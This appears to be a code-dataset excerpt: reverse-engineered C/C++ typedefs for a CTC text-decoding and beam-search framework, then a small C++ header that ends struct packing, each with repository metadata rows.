typedef struct CVNLPCTCPriorityQueuepriority_queue<CVNLPCTCCandidate, std::__1::vector<CVNLPCTCCandidate, std::__1::allocator<CVNLPCTCCandidate> >, CVNLPCTCPriorityQueue::QueueComparison>vector<CVNLPCTCCandidate, std::__1::allocator<CVNLPCTCCandidate> >CVNLPCTCCandidateCVNLPCTCCandidate__compressed_pair<CVNLPCTCCandidate *, std::__1::allocator<CVNLPCTCCandidate> >CVNLPCTCCandidateQueueComparisonBvector<CVNLPCTCCandidate, std::__1::allocator<CVNLPCTCCandidate> >CVNLPCTCCandidateCVNLPCTCCandidate__compressed_pair<CVNLPCTCCandidate *, std::__1::allocator<CVNLPCTCCandidate> >CVNLPCTCCandidate* VNLPCTCPriorityQueueRef;
typedef struct CVNLPTextDecodingPruningPolicy {
long long strategy;
BOOL shouldSort;
float threshold;
unsigned maxNumberOfCandidates;
} CVNLPTextDecodingPruningPolicy;
typedef struct _NSZone* NSZoneRef;
typedef const struct _LXCursor* LXCursorRef;
typedef struct CVNLPLanguageModel* CVNLPLanguageModelRef;
typedef struct _compressed_pair<cvnlp::AbstractVocabulary *, std::__1::default_delete<cvnlp::AbstractVocabulary> > {
AbstractVocabulary __value_;
} compressed_pair<cvnlp::AbstractVocabulary *, std::__1::default_delete<cvnlp::AbstractVocabulary> >;
typedef struct unique_ptr<cvnlp::AbstractVocabulary, std::__1::default_delete<cvnlp::AbstractVocabulary> > {
compressed_pair<cvnlp::AbstractVocabulary *, std::__1::default_delete<cvnlp::AbstractVocabulary> > __ptr_;
} unique_ptr<cvnlp::AbstractVocabulary, std::__1::default_delete<cvnlp::AbstractVocabulary> >;
typedef struct _compressed_pair<unsigned int *, std::__1::allocator<unsigned int> > {
unsigned __value_;
} compressed_pair<unsigned int *, std::__1::allocator<unsigned int> >;
typedef struct vector<unsigned int, std::__1::allocator<unsigned int> > {
unsigned __begin_;
unsigned __end_;
compressed_pair<unsigned int *, std::__1::allocator<unsigned int> > __end_cap_;
} vector<unsigned int, std::__1::allocator<unsigned int> >;
typedef struct _compressed_pair<double *, std::__1::allocator<double> > {
double __value_;
} compressed_pair<double *, std::__1::allocator<double> >;
typedef struct vector<double, std::__1::allocator<double> > {
double __begin_;
double __end_;
compressed_pair<double *, std::__1::allocator<double> > __end_cap_;
} vector<double, std::__1::allocator<double> >;
typedef struct _compressed_pair<unsigned long *, std::__1::allocator<unsigned long> > {
unsigned long long __value_;
} compressed_pair<unsigned long *, std::__1::allocator<unsigned long> >;
typedef struct vector<unsigned long, std::__1::allocator<unsigned long> > {
unsigned long long __begin_;
unsigned long long __end_;
compressed_pair<unsigned long *, std::__1::allocator<unsigned long> > __end_cap_;
} vector<unsigned long, std::__1::allocator<unsigned long> >;
typedef struct CVNLPLanguageModelWithState* CVNLPLanguageModelWithStateRef;
typedef struct CVNLPBeamSearch* CVNLPBeamSearchRef;
typedef const struct _LXLexicon* LXLexiconRef;
| [
"kevin.w.bradley@me.com"
] | kevin.w.bradley@me.com |
00417d6bd81206666d7f2215e92df260b1b7b4d4 | bc5b6f0b42d53adb704cc2185a31ca0706209bec | /include/tcode/endpack.hpp | 960c5c06266fd918f70d9263b1bf0f2d589ba33b | [] | no_license | codex-tk/deprecated-tcode | 45caf53b2fb3d2b50b4d54a80ce1d8f907e9ec3c | 876a5f2f79ef9cff74f02b74ba0e7236a9471637 | refs/heads/master | 2021-05-31T12:57:46.045164 | 2015-10-28T14:55:34 | 2015-10-28T14:55:34 | 38,053,428 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 256 | hpp | #ifndef __tcode_end_pack_h__
#define __tcode_end_pack_h__
#include <tcode/tcode.hpp>
#if defined( TCODE_WIN32 )
#pragma pack(pop)
#ifdef PACKED
#undef PACKED
#endif
#else
#ifdef PACKED
#undef PACKED
#endif
#endif
#endif
| [
"aoziczero@gmail.com"
] | aoziczero@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.